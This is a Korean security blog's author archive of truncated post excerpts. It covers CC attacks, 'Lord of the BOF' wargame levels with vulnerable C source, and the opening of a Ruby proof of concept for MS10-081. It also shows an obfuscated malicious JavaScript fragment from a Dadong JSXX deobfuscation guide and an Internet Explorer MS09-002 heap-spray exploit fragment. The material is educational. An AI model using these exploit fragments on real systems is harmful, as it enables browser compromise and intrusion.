[작성자:] ByJJoon


  • CC Attack 그리고 User-Agent

    CC Attack에 대해서 기본적인 내용만 알고 있었고 세부적으로 몰라 오늘 검색을 해보았습니다. 네이버나 구글 등에서 검색을 하니 User-Agent 필드에 Cache-Control 필드를 넣어 공격을 한다고 나오군요. 보통 넣는 옵션값은 no-store, must-revalidate 이라고 하네요. 음. 여기서 의문이 하나 들었는데 왜 User-Agent 필드에 넣는걸까요? Cache-Control 이라는 필드가 있는데 여기 들어가야 하는게 아닐까요? User-Agent에 넣었는데 Cache-Control 옵션이 먹혀서 웹서버에 […]

  • BOF 원정대 – Level 18 (nightmare)

    문제 소스는 아래와 같다. /* The Lord of the BOF : The Fellowship of the BOF – nightmare – PLT */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h> main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf(argv error\n); exit(0); } // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4) […]

  • BOF 원정대 – Level 17 (succubus)

    문제 소스는 아래와 같다. /* The Lord of the BOF : The Fellowship of the BOF – succubus – calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf(welcome to the MO!\n); // olleh! system(cmd); } void YUT(void) { […]

  • BOF 원정대 – Level 16 (zombie_assassin)

    이번 문제 소스는 아래와 같다. /* The Lord of the BOF : The Fellowship of the BOF – zombie_assassin – FEBP */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf(argv error\n); exit(0); } if(argv[1][47] == '\xbf') { printf(stack retbayed you!\n); exit(0); } if(argv[1][47] == '\x40') { printf(library retbayed […]

  • Windows Common Control Library (Comctl32) Heap Overflow (MS10-081, CVE-2010-2746)

    #!/usr/bin/env ruby # http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept # Nephi Johnson require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html", :desc=>"content"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] date_str = Time.now.gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT") headers = "HTTP/1.1 #{code} #{message}\r\n" + "Date: #{date_str}\r\n" + "Content-Length: #{data.length}\r\n" + "Content-Type: #{type}\r\n\r\n" puts "[+] […]

  • Encrypt By Dadong’s JSXX 난독화 해제 방법

    최근 국내에 삽입되는 악성스크립트 중 “Encrypt By Dadong’s JSXX 버전명 VIP” 이란 주석이 포함된 난독화 된 스크립트가 확인되어 디코딩 하는 방법에 대해 작성해 보도록 하겠습니다. 우선 0.31 버전부터 살펴보도록 하겠습니다. <html><body> <button id='yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp' onclick='WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe();' style='display:none'></button> <script language='javascript'> var bak, bak1, bak2, bak3, bak4; bak='%';var wud='%';var tihs='%';var jj=bak+'u'+'4B5B';var lzg='%'; bak1='u'; wud+='u'; tihs+='u';var kk=bak+'u'+'CD36';lzg+='u'; bak2='58';wud+='B'; tihs+='B';var ll=bak+'u'+'BD8F';lzg+='B'; […]

  • BOF 원정대 – Level 15 (assassin)

    우선 문제소스는 아래와 같다. /* The Lord of the BOF : The Fellowship of the BOF – assassin – no stack, no RTL */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf(argv error\n); exit(0); } if(argv[1][47] == '\xbf') { printf(stack retbayed you!\n); exit(0); } if(argv[1][47] == '\x40') { […]

  • BOF 원정대 – Level 14 (giant)

    문제 소스는 아래와 같다. /* The Lord of the BOF : The Fellowship of the BOF – giant – RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) { char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2){ printf(argv error\n); exit(0); } // gain address of execve fp […]

  • Internet Explorer Uninitialized Memory Corruption Vulnerability (MS09-002, CVE-2009-0075)

    <SCRIPT LANGUAGE="JavaScript"> <!– Hide function killErrors() { return true; } window.onerror = killErrors; // –> </SCRIPT> <script language="JavaScript"> var aaa4='생략'; var aa4=(aaa4.replace(/MV/g,"%u")); var shellcode=unescape(aa4); var array = new Array(); var calc = 0x100000-(shellcode.length*2+0x01020); var point = unescape("%u0D0D%u0D0D"); while(point.length<calc) { point+=point;} var sec = point.substring(0,calc/2); delete point; for(i=0; i<0xD0; i++) { array[i] = sec + shellcode; […]

  • 2010 CAT-Security Hacking Contest : Holy Shield 대회 우승

    대회 한지는 좀 되었지만 이제서야 공개하네요. 순위는 1등이였고 상품으로 스타와 로또를 받았습니다 🙂 http://holyshield.catsecurity.net/ 대회 보고서는 아래 링크에서 보실 수 있습니다. https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B-xiuAIL6EdCNDg3YmE1YjQtZDEwNi00YTdmLTk1ZDktYmY1MDQ1NjE3ZDY2&hl=en&authkey=CNjwvbAE